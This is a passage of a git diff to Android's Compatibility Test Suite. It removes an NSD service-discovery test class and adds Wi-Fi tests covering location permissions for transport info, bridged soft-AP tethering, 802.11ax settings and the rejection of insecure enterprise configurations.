-        EventData(String callbackName, int errorCode) {
-            mCallbackName = callbackName;
-            mSucceeded = false;
-            mErrorCode = errorCode;
-            mInfo = null;
-        }
-        private final String mCallbackName;
-        private final boolean mSucceeded;
-        private final int mErrorCode;
-        private final NsdServiceInfo mInfo;
-    }
-
-    private final List<EventData> mEventCache = new ArrayList<EventData>();
-
-    private void setEvent(String callbackName, int errorCode) {
-        if (DBG) Log.d(TAG, callbackName + " failed with " + String.valueOf(errorCode));
-        EventData eventData = new EventData(callbackName, errorCode);
-        synchronized (mEventCache) {
-            mEventCache.add(eventData);
-            mEventCache.notify();
-        }
-    }
-
-    private void setEvent(String callbackName, NsdServiceInfo info) {
-        if (DBG) Log.d(TAG, "Received event " + callbackName + " for " + info.getServiceName());
-        EventData eventData = new EventData(callbackName, info);
-        synchronized (mEventCache) {
-            mEventCache.add(eventData);
-            mEventCache.notify();
-        }
-    }
-
-    void clearEventCache() {
-        synchronized(mEventCache) {
-            mEventCache.clear();
-        }
-    }
-
-    int eventCacheSize() {
-        synchronized(mEventCache) {
-            return mEventCache.size();
-        }
-    }
-
-    private int mWaitId = 0;
-    private EventData waitForCallback(String callbackName) {
-
-        synchronized(mEventCache) {
-
-            mWaitId ++;
-            if (DBG) Log.d(TAG, "Waiting for " + callbackName + ", id=" + String.valueOf(mWaitId));
-
-            try {
-                long startTime = android.os.SystemClock.uptimeMillis();
-                long elapsedTime = 0;
-                int index = 0;
-                while (elapsedTime < TIMEOUT ) {
-                    // first check if we've received that event
-                    for (; index < mEventCache.size(); index++) {
-                        EventData e = mEventCache.get(index);
-                        if (e.mCallbackName.equals(callbackName)) {
-                            if (DBG) Log.d(TAG, "exiting wait id=" + String.valueOf(mWaitId));
-                            return e;
-                        }
-                    }
-
-                    // Not yet received, just wait
-                    mEventCache.wait(TIMEOUT - elapsedTime);
-                    elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
-                }
-                // we exited the loop because of TIMEOUT; fail the call
-                if (DBG) Log.d(TAG, "timed out waiting id=" + String.valueOf(mWaitId));
-                return null;
-            } catch (InterruptedException e) {
-                return null;                       // wait timed out!
-            }
-        }
-    }
-
-    private EventData waitForNewEvents() throws InterruptedException {
-        if (DBG) Log.d(TAG, "Waiting for a bit, id=" + String.valueOf(mWaitId));
-
-        long startTime = android.os.SystemClock.uptimeMillis();
-        long elapsedTime = 0;
-        synchronized (mEventCache) {
-            int index = mEventCache.size();
-            while (elapsedTime < TIMEOUT ) {
-                // first check if we've received that event
-                for (; index < mEventCache.size(); index++) {
-                    EventData e = mEventCache.get(index);
-                    return e;
-                }
-
-                // Not yet received, just wait
-                mEventCache.wait(TIMEOUT - elapsedTime);
-                elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
-            }
-        }
-
-        return null;
-    }
-
-    private String mServiceName;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        if (DBG) Log.d(TAG, "Setup test ...");
-        mNsdManager = (NsdManager) getContext().getSystemService(Context.NSD_SERVICE);
-
-        Random rand = new Random();
-        mServiceName = new String("NsdTest");
-        for (int i = 0; i < 4; i++) {
-            mServiceName = mServiceName + String.valueOf(rand.nextInt(10));
-        }
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        if (DBG) Log.d(TAG, "Tear down test ...");
-        super.tearDown();
-    }
-
-    public void testNDSManager() throws Exception {
-        EventData lastEvent = null;
-
-        if (DBG) Log.d(TAG, "Starting test ...");
-
-        NsdServiceInfo si = new NsdServiceInfo();
-        si.setServiceType(SERVICE_TYPE);
-        si.setServiceName(mServiceName);
-
-        byte testByteArray[] = new byte[] {-128, 127, 2, 1, 0, 1, 2};
-        String String256 = "1_________2_________3_________4_________5_________6_________" +
-                 "7_________8_________9_________10________11________12________13________" +
-                 "14________15________16________17________18________19________20________" +
-                 "21________22________23________24________25________123456";
-
-        // Illegal attributes
-        try {
-            si.setAttribute(null, (String) null);
-            fail("Could set null key");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("", (String) null);
-            fail("Could set empty key");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(String256, (String) null);
-            fail("Could set key with 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("key", String256.substring(3));
-            fail("Could set key+value combination with more than 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("key", String256.substring(4));
-            fail("Could set key+value combination with 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(new String(new byte[]{0x19}), (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("=", (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(new String(new byte[]{0x7F}), (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        // Allowed attributes
-        si.setAttribute("booleanAttr", (String) null);
-        si.setAttribute("keyValueAttr", "value");
-        si.setAttribute("keyEqualsAttr", "=");
-        si.setAttribute(" whiteSpaceKeyValueAttr ", " value ");
-        si.setAttribute("binaryDataAttr", testByteArray);
-        si.setAttribute("nullBinaryDataAttr", (byte[]) null);
-        si.setAttribute("emptyBinaryDataAttr", new byte[]{});
-        si.setAttribute("longkey", String256.substring(9));
-
-        ServerSocket socket;
-        int localPort;
-
-        try {
-            socket = new ServerSocket(0);
-            localPort = socket.getLocalPort();
-            si.setPort(localPort);
-        } catch (IOException e) {
-            if (DBG) Log.d(TAG, "Could not open a local socket");
-            assertTrue(false);
-            return;
-        }
-
-        if (DBG) Log.d(TAG, "Port = " + String.valueOf(localPort));
-
-        clearEventCache();
-
-        mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
-        lastEvent = waitForCallback("onServiceRegistered");                 // id = 1
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(eventCacheSize() == 1);
-
-        // We may not always get the name that we tried to register;
-        // This events tells us the name that was registered.
-        String registeredName = lastEvent.mInfo.getServiceName();
-        si.setServiceName(registeredName);
-
-        clearEventCache();
-
-        mNsdManager.discoverServices(SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD,
-                mDiscoveryListener);
-
-        // Expect discovery started
-        lastEvent = waitForCallback("onDiscoveryStarted");                  // id = 2
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        // Remove this event, so accounting becomes easier later
-        synchronized (mEventCache) {
-            mEventCache.remove(lastEvent);
-        }
-
-        // Expect a service record to be discovered (and filter the ones
-        // that are unrelated to this test)
-        boolean found = false;
-        for (int i = 0; i < 32; i++) {
-
-            lastEvent = waitForCallback("onServiceFound");                  // id = 3
-            if (lastEvent == null) {
-                // no more onServiceFound events are being reported!
-                break;
-            }
-
-            assertTrue(lastEvent.mSucceeded);
-
-            if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                    lastEvent.mInfo.getServiceName());
-
-            if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
-                // Save it, as it will get overwritten with new serviceFound events
-                si = lastEvent.mInfo;
-                found = true;
-            }
-
-            // Remove this event from the event cache, so it won't be found by subsequent
-            // calls to waitForCallback
-            synchronized (mEventCache) {
-                mEventCache.remove(lastEvent);
-            }
-        }
-
-        assertTrue(found);
-
-        // We've removed all serviceFound events, and we've removed the discoveryStarted
-        // event as well, so now the event cache should be empty!
-        assertTrue(eventCacheSize() == 0);
-
-        // Resolve the service
-        clearEventCache();
-        mNsdManager.resolveService(si, mResolveListener);
-        lastEvent = waitForCallback("onServiceResolved");                   // id = 4
-
-        assertNotNull(mResolvedService);
-
-        // Check Txt attributes
-        assertEquals(8, mResolvedService.getAttributes().size());
-        assertTrue(mResolvedService.getAttributes().containsKey("booleanAttr"));
-        assertNull(mResolvedService.getAttributes().get("booleanAttr"));
-        assertEquals("value", new String(mResolvedService.getAttributes().get("keyValueAttr")));
-        assertEquals("=", new String(mResolvedService.getAttributes().get("keyEqualsAttr")));
-        assertEquals(" value ", new String(mResolvedService.getAttributes()
-                .get(" whiteSpaceKeyValueAttr ")));
-        assertEquals(String256.substring(9), new String(mResolvedService.getAttributes()
-                .get("longkey")));
-        assertTrue(Arrays.equals(testByteArray,
-                mResolvedService.getAttributes().get("binaryDataAttr")));
-        assertTrue(mResolvedService.getAttributes().containsKey("nullBinaryDataAttr"));
-        assertNull(mResolvedService.getAttributes().get("nullBinaryDataAttr"));
-        assertTrue(mResolvedService.getAttributes().containsKey("emptyBinaryDataAttr"));
-        assertNull(mResolvedService.getAttributes().get("emptyBinaryDataAttr"));
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": Port = " +
-                String.valueOf(lastEvent.mInfo.getPort()));
-
-        assertTrue(lastEvent.mInfo.getPort() == localPort);
-        assertTrue(eventCacheSize() == 1);
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        // Unregister the service
-        mNsdManager.unregisterService(mRegistrationListener);
-        lastEvent = waitForCallback("onServiceUnregistered");               // id = 5
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        // Expect a callback for service lost
-        lastEvent = waitForCallback("onServiceLost");                       // id = 6
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
-        // Register service again to see if we discover it
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        si = new NsdServiceInfo();
-        si.setServiceType(SERVICE_TYPE);
-        si.setServiceName(mServiceName);
-        si.setPort(localPort);
-
-        // Create a new registration listener and register same service again
-        initRegistrationListener();
-
-        mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
-
-        lastEvent = waitForCallback("onServiceRegistered");                 // id = 7
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        registeredName = lastEvent.mInfo.getServiceName();
-
-        // Expect a record to be discovered
-        // Expect a service record to be discovered (and filter the ones
-        // that are unrelated to this test)
-        found = false;
-        for (int i = 0; i < 32; i++) {
-
-            lastEvent = waitForCallback("onServiceFound");                  // id = 8
-            if (lastEvent == null) {
-                // no more onServiceFound events are being reported!
-                break;
-            }
-
-            assertTrue(lastEvent.mSucceeded);
-
-            if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                    lastEvent.mInfo.getServiceName());
-
-            if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
-                // Save it, as it will get overwritten with new serviceFound events
-                si = lastEvent.mInfo;
-                found = true;
-            }
-
-            // Remove this event from the event cache, so it won't be found by subsequent
-            // calls to waitForCallback
-            synchronized (mEventCache) {
-                mEventCache.remove(lastEvent);
-            }
-        }
-
-        assertTrue(found);
-
-        // Resolve the service
-        clearEventCache();
-        mNsdManager.resolveService(si, mResolveListener);
-        lastEvent = waitForCallback("onServiceResolved");                   // id = 9
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                lastEvent.mInfo.getServiceName());
-
-        assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
-        assertNotNull(mResolvedService);
-
-        // Check that we don't have any TXT records
-        assertEquals(0, mResolvedService.getAttributes().size());
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        mNsdManager.stopServiceDiscovery(mDiscoveryListener);
-        lastEvent = waitForCallback("onDiscoveryStopped");                  // id = 10
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(checkCacheSize(1));
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        mNsdManager.unregisterService(mRegistrationListener);
-
-        lastEvent =  waitForCallback("onServiceUnregistered");              // id = 11
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(checkCacheSize(1));
-    }
-
-    boolean checkCacheSize(int size) {
-        synchronized (mEventCache) {
-            int cacheSize = mEventCache.size();
-            if (cacheSize != size) {
-                Log.d(TAG, "id = " + mWaitId + ": event cache size = " + cacheSize);
-                for (int i = 0; i < cacheSize; i++) {
-                    EventData e = mEventCache.get(i);
-                    String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
-                    Log.d(TAG, "eventName is " + e.mCallbackName + sname);
-                }
-            }
-            return (cacheSize == size);
-        }
-    }
-
-    boolean checkForAdditionalEvents() {
-        try {
-            EventData e = waitForNewEvents();
-            if (e != null) {
-                String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
-                Log.d(TAG, "ignoring unexpected event " + e.mCallbackName + sname);
-            }
-            return (e == null);
-        }
-        catch (InterruptedException ex) {
-            return false;
-        }
-    }
-}
-
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
index b92b17c..84a050f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
@@ -30,6 +30,7 @@
 import android.net.wifi.WifiManager;
 import android.platform.test.annotations.AppModeFull;
 
+import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
@@ -73,6 +74,10 @@
             WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusActivity";
     private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE =
             WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusService";
+    private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY =
+            WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusActivity";
+    private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE =
+            WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusService";
 
     private static final int DURATION_MS = 10_000;
     private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
@@ -221,6 +226,17 @@
                 WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE), status);
     }
 
+    private void retrieveTransportInfoFgActivityAndAssertStatusIs(boolean status)
+            throws Exception {
+        startFgActivityAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+                WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY), status);
+    }
+
+    private void retrieveTransportInfoBgServiceAndAssertStatusIs(boolean status) throws Exception {
+        startBgServiceAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+                WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE), status);
+    }
+
     @Test
     public void testScanTriggerNotAllowedForForegroundActivityWithNoLocationPermission()
             throws Exception {
@@ -318,4 +334,54 @@
                 WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
         retrieveConnectionInfoBgServiceAndAssertStatusIs(false);
     }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testTransportInfoRetrievalNotAllowedForForegroundActivityWithNoLocationPermission()
+            throws Exception {
+        retrieveTransportInfoFgActivityAndAssertStatusIs(false);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testTransportInfoRetrievalAllowedForForegroundActivityWithFineLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        retrieveTransportInfoFgActivityAndAssertStatusIs(true);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void
+    testTransportInfoRetrievalAllowedForBackgroundServiceWithBackgroundLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_BACKGROUND_LOCATION);
+        retrieveTransportInfoBgServiceAndAssertStatusIs(true);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void
+    testTransportInfoRetrievalNotAllowedForBackgroundServiceWithFineLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        retrieveTransportInfoBgServiceAndAssertStatusIs(false);
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 3a47491..b1778e6 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -53,6 +53,7 @@
 import android.net.wifi.SoftApInfo;
 import android.net.wifi.WifiClient;
 import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiEnterpriseConfig;
 import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.SubsystemRestartTrackingCallback;
@@ -80,6 +81,7 @@
 import android.text.TextUtils;
 import android.util.ArraySet;
 import android.util.Log;
+import android.util.SparseIntArray;
 
 import androidx.core.os.BuildCompat;
 import androidx.test.filters.SdkSuppress;
@@ -180,6 +182,7 @@
     private static final String TYPE_WIFI_CONFIG = "application/x-wifi-config";
     private static final String TEST_PSK_CAP = "[RSN-PSK-CCMP]";
     private static final String TEST_BSSID = "00:01:02:03:04:05";
+    public static final String TEST_DOM_SUBJECT_MATCH = "domSubjectMatch";
 
     private IntentFilter mIntentFilter;
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
@@ -715,16 +718,19 @@
         Object softApLock;
         int currentState;
         int currentFailureReason;
+        List<SoftApInfo> apInfoList = new ArrayList<>();
+        Map<SoftApInfo, List<WifiClient>> apInfoClients = new HashMap<>();
         List<WifiClient> currentClientList;
-        SoftApInfo currentSoftApInfo;
         SoftApCapability currentSoftApCapability;
         MacAddress lastBlockedClientMacAddress;
         int lastBlockedClientReason;
         boolean onStateChangedCalled = false;
         boolean onSoftApCapabilityChangedCalled = false;
         boolean onConnectedClientCalled = false;
+        boolean onConnectedClientChangedWithInfoCalled = false;
         boolean onBlockedClientConnectingCalled = false;
         int onSoftapInfoChangedCalledCount = 0;
+        int onSoftapInfoChangedWithListCalledCount = 0;
 
         TestSoftApCallback(Object lock) {
             softApLock = lock;
@@ -742,12 +748,24 @@
             }
         }
 
+        public int getOnSoftApInfoChangedWithListCalledCount() {
+            synchronized(softApLock) {
+                return onSoftapInfoChangedWithListCalledCount;
+            }
+        }
+
         public boolean getOnSoftApCapabilityChangedCalled() {
             synchronized(softApLock) {
                 return onSoftApCapabilityChangedCalled;
             }
         }
 
+        public boolean getOnConnectedClientChangedWithInfoCalled() {
+            synchronized(softApLock) {
+                return onConnectedClientChangedWithInfoCalled;
+            }
+        }
+
         public boolean getOnConnectedClientCalled() {
             synchronized(softApLock) {
                 return onConnectedClientCalled;
@@ -774,13 +792,19 @@
 
         public List<WifiClient> getCurrentClientList() {
             synchronized(softApLock) {
-                return currentClientList;
+                return new ArrayList<>(currentClientList);
             }
         }
 
         public SoftApInfo getCurrentSoftApInfo() {
             synchronized(softApLock) {
-                return currentSoftApInfo;
+                return apInfoList.size() > 0 ? apInfoList.get(0) : null;
+            }
+        }
+
+        public List<SoftApInfo> getCurrentSoftApInfoList() {
+            synchronized(softApLock) {
+                return new ArrayList<>(apInfoList);
             }
         }
 
@@ -820,9 +844,26 @@
         }
 
         @Override
+        public void onConnectedClientsChanged(SoftApInfo info, List<WifiClient> clients) {
+            synchronized(softApLock) {
+                apInfoClients.put(info, clients);
+                onConnectedClientChangedWithInfoCalled = true;
+            }
+        }
+
+        @Override
+        public void onInfoChanged(List<SoftApInfo> infoList) {
+            synchronized(softApLock) {
+                apInfoList = new ArrayList<>(infoList);
+                onSoftapInfoChangedWithListCalledCount++;
+            }
+        }
+
+        @Override
         public void onInfoChanged(SoftApInfo softApInfo) {
             synchronized(softApLock) {
-                currentSoftApInfo = softApInfo;
+                apInfoList.clear();
+                apInfoList.add(softApInfo);
                 onSoftapInfoChangedCalledCount++;
             }
         }
@@ -1663,6 +1704,14 @@
         if (BuildCompat.isAtLeastS()) {
             assertEquals(currentConfig.getMacRandomizationSetting(),
                     testSoftApConfig.getMacRandomizationSetting());
+            assertTrue(Arrays.equals(currentConfig.getBands(),
+                    testSoftApConfig.getBands()));
+            assertEquals(currentConfig.getChannels().toString(),
+                    testSoftApConfig.getChannels().toString());
+            assertEquals(currentConfig.isBridgedModeOpportunisticShutdownEnabled(),
+                    testSoftApConfig.isBridgedModeOpportunisticShutdownEnabled());
+            assertEquals(currentConfig.isIeee80211axEnabled(),
+                    testSoftApConfig.isIeee80211axEnabled());
         }
     }
 
@@ -1684,6 +1733,156 @@
         }
     }
 
+    private void verifyBridgedModeSoftApCallback(TestExecutor executor,
+            TestSoftApCallback callback, boolean shouldFallbackSingleApMode, boolean isEnabled)
+            throws Exception {
+            // Verify state and info callback value as expected
+            PollingCheck.check(
+                    "SoftAp state and info on bridged AP mode are mismatch!!!"
+                    + " shouldFallbackSingleApMode = " + shouldFallbackSingleApMode
+                    + ", isEnabled = "  + isEnabled, 5_000,
+                    () -> {
+                        executor.runAll();
+                        int expectedState = isEnabled ? WifiManager.WIFI_AP_STATE_ENABLED
+                                : WifiManager.WIFI_AP_STATE_DISABLED;
+                        int expectedInfoSize = isEnabled
+                                ? (shouldFallbackSingleApMode ? 1 : 2) : 0;
+                        return expectedState == callback.getCurrentState()
+                                && callback.getCurrentSoftApInfoList().size() == expectedInfoSize;
+                    });
+    }
+
+    private boolean shouldFallbackToSingleAp(int[] bands, SoftApCapability capability) {
+        for (int band : bands) {
+            if (capability.getSupportedChannelList(band).length == 0) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Test bridged AP enable succeeful when device supports it.
+     * Also verify the callback info update correctly.
+     * @throws Exception
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testTetheredBridgedAp() throws Exception {
+        // check that softap bridged mode is supported by the device
+        if (!mWifiManager.isBridgedApConcurrencySupported()) {
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestExecutor executor = new TestExecutor();
+        TestSoftApCallback callback = new TestSoftApCallback(mLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Off/On Wifi to make sure that we get the supported channel
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            mWifiManager.setWifiEnabled(true);
+            PollingCheck.check(
+                "Wifi turn on failed!", 2_000,
+                () -> mWifiManager.isWifiEnabled() == true);
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            verifyRegisterSoftApCallback(executor, callback);
+
+            // Test bridged SoftApConfiguration set and get (setBands)
+            SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+                    .setSsid(TEST_SSID_UNQUOTED)
+                    .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+                    .setBands(new int[] {
+                    SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ})
+                    .build();
+            boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(testSoftApConfig.getBands(),
+                    callback.getCurrentSoftApCapability());
+            verifySetGetSoftApConfig(testSoftApConfig);
+
+            // start tethering which used to verify startTetheredHotspot
+            mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+                new TetheringManager.StartTetheringCallback() {
+                    @Override
+                    public void onTetheringFailed(final int result) {
+                    }
+                });
+            verifyBridgedModeSoftApCallback(executor, callback,
+                    shouldFallbackToSingleAp, true /* enabled */);
+            // stop tethering which used to verify stopSoftAp
+            mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+            verifyBridgedModeSoftApCallback(executor, callback,
+                    shouldFallbackToSingleAp, false /* disabled */);
+        } finally {
+            mWifiManager.unregisterSoftApCallback(callback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Test bridged AP with forced channel config enable succeeful when device supports it.
+     * Also verify the callback info update correctly.
+     * @throws Exception
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testTetheredBridgedApWifiForcedChannel() throws Exception {
+        // check that softap bridged mode is supported by the device
+        if (!mWifiManager.isBridgedApConcurrencySupported()) {
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestExecutor executor = new TestExecutor();
+        TestSoftApCallback callback = new TestSoftApCallback(mLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Off/On Wifi to make sure that we get the supported channel
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            mWifiManager.setWifiEnabled(true);
+            PollingCheck.check(
+                "Wifi turn on failed!", 2_000,
+                () -> mWifiManager.isWifiEnabled() == true);
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            verifyRegisterSoftApCallback(executor, callback);
+
+            boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(
+                    new int[] {SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ},
+                    callback.getCurrentSoftApCapability());
+
+            // Test when there are supported channels in both of the bands.
+            if (!shouldFallbackToSingleAp) {
+                // Test bridged SoftApConfiguration set and get (setChannels)
+                SparseIntArray dual_channels = new SparseIntArray(2);
+                dual_channels.put(SoftApConfiguration.BAND_2GHZ,
+                        callback.getCurrentSoftApCapability()
+                        .getSupportedChannelList(SoftApConfiguration.BAND_2GHZ)[0]);
+                dual_channels.put(SoftApConfiguration.BAND_5GHZ,
+                        callback.getCurrentSoftApCapability()
+                        .getSupportedChannelList(SoftApConfiguration.BAND_5GHZ)[0]);
+                SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+                        .setSsid(TEST_SSID_UNQUOTED)
+                        .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+                        .setChannels(dual_channels)
+                        .build();
+
+                verifySetGetSoftApConfig(testSoftApConfig);
+
+                // start tethering which used to verify startTetheredHotspot
+                mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+                    new TetheringManager.StartTetheringCallback() {
+                        @Override
+                        public void onTetheringFailed(final int result) {
+                        }
+                    });
+                verifyBridgedModeSoftApCallback(executor, callback,
+                        shouldFallbackToSingleAp, true /* enabled */);
+                // stop tethering which used to verify stopSoftAp
+                mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+                verifyBridgedModeSoftApCallback(executor, callback,
+                        shouldFallbackToSingleAp, false /* disabled */);
+            }
+        } finally {
+            mWifiManager.unregisterSoftApCallback(callback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
     /**
      * Verify that the configuration from getSoftApConfiguration is same as the configuration which
      * set by setSoftApConfiguration. And depends softap capability callback to test different
@@ -1755,6 +1954,13 @@
                         SoftApConfiguration.SECURITY_TYPE_WPA3_SAE);
                 verifySetGetSoftApConfig(softApConfigBuilder.build());
             }
+
+            // Test 11 AX control config.
+            if (callback.getCurrentSoftApCapability()
+                    .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) {
+                softApConfigBuilder.setIeee80211axEnabled(true);
+                verifySetGetSoftApConfig(softApConfigBuilder.build());
+            }
         } finally {
             mWifiManager.unregisterSoftApCallback(callback);
             uiAutomation.dropShellPermissionIdentity();
@@ -3486,4 +3692,57 @@
             uiAutomation.dropShellPermissionIdentity();
         }
     }
+
+
+    /**
+     * Verify that insecure WPA-Enterprise network configurations are rejected.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testInsecureEnterpriseConfigurationsRejected() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiConfiguration wifiConfiguration = new WifiConfiguration();
+        wifiConfiguration.SSID = SSID1;
+        wifiConfiguration.setSecurityParams(WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
+        wifiConfiguration.enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TTLS);
